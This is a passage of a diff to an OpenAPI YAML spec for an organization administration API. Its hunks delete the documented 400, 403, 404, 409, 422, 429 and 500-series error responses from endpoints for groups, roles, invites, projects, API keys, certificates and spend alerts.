- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The organization was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11261,24 +9776,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupListResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested group, user, or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -11326,38 +9823,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested group, user, or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '422':
- description: The organization has reached its maximum number of groups.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The group operation could not be completed because of a server error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11400,32 +9867,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested group, user, or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The group operation could not be completed because of a server error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11471,32 +9914,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupResourceWithSuccess'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested group, user, or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The group operation could not be completed because of a server error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11537,24 +9956,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupDeletedResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -11617,24 +10018,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleListResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -11702,24 +10085,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupRoleAssignment'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -11785,24 +10150,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssignedRoleDetails'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -11859,24 +10206,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedRoleAssignmentResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested resource was not found in this organization or project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -11942,32 +10271,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UserListResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested group, user, or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '502':
- description: The upstream group service returned an invalid pagination cursor.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12091,24 +10396,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupMemberUser'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested group, user, or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -12228,30 +10515,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/InviteListResponse'
- '400':
- description: The invite listing parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The invite specified by the after cursor was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12301,24 +10564,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Invite'
- '400':
- description: The invite request is invalid or the user has already joined or been invited.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12385,36 +10630,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Invite'
- '400':
- description: The invite request is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The invite was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The invite could not be retrieved because of a server error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12536,30 +10751,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectListResponse'
- '400':
- description: The project listing parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project specified by the after cursor was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12607,24 +10798,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Project'
- '400':
- description: The project creation request is invalid or contains incompatible settings.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12668,24 +10841,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Project'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12738,24 +10893,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A requested project, user, service account, or API key was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12816,30 +10953,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectApiKeyListResponse'
- '400':
- description: The listing parameters are invalid or the project is archived.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12905,30 +11018,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectApiKey'
- '400':
- description: The project is archived.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project or API key was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12995,24 +11084,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A requested project, user, service account, or API key was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13050,30 +11121,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Project'
- '400':
- description: The project is already archived or is the default project and cannot be archived.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13139,18 +11186,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListProjectCertificatesResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -13213,32 +11248,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationProjectCertificateActivationResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A certificate was not found in this organization.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The certificate update could not be completed because of a server error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13308,32 +11319,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationProjectCertificateDeactivationResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A certificate was not found in this organization.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The certificate update could not be completed because of a server error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13396,24 +11383,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectDataRetention'
- '400':
- description: The project ID is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The organization or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13456,24 +11425,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectDataRetention'
- '400':
- description: The requested data retention setting or transition is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The organization or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13538,24 +11489,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectGroupListResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested group, user, or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -13610,32 +11543,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectGroup'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested group, user, or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The group operation could not be completed because of a server error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13695,24 +11604,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectGroup'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested group, user, or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -13760,24 +11651,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectGroupDeletedResource'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The endpoint is unavailable or a requested group, user, or project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -13816,30 +11689,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectHostedToolPermissions'
- '400':
- description: The project ID is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13895,36 +11744,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectHostedToolPermissions'
- '400':
- description: The hosted tool permission request is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The requested project setting conflicts with the organization policy.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13982,30 +11801,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectModelPermissions'
- '400':
- description: The project is archived.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project or model permission settings were not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14052,30 +11847,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectModelPermissions'
- '400':
- description: The model permission request is invalid or the project is archived.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14120,30 +11891,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectModelPermissionsDeleteResponse'
- '400':
- description: The project is archived.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project or model permission settings were not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14202,24 +11949,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectRateLimitListResponse'
- '400':
- description: The rate limit listing parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project or pagination cursor was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14292,18 +12021,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14373,24 +12090,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A requested project, user, service account, or API key was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14450,24 +12149,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A requested project, user, service account, or API key was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14523,30 +12204,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectServiceAccount'
- '400':
- description: The project is archived.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project or service account was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14598,30 +12255,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectServiceAccount'
- '400':
- description: The service account update is invalid or the project is archived.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project or service account was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14769,24 +12402,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendAlertListResource'
- '400':
- description: The spend alert listing parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project or spend alert pagination cursor was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14845,24 +12460,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendAlert'
- '400':
- description: The spend alert request is invalid or conflicts with the hard spend limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14923,24 +12520,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendAlert'
- '400':
- description: The project ID is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project or spend alert was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14997,24 +12576,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendAlert'
- '400':
- description: The spend alert update is invalid or conflicts with the hard spend limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project or spend alert was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -15074,24 +12635,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendAlertDeletedResource'
- '400':
- description: The project ID is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project or spend alert was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -15150,24 +12693,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A requested project, user, service account, or API key was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -15304,30 +12829,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectUser'
- '400':
- description: The project is archived.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The project or user was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many management requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -15386,24 +12887,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
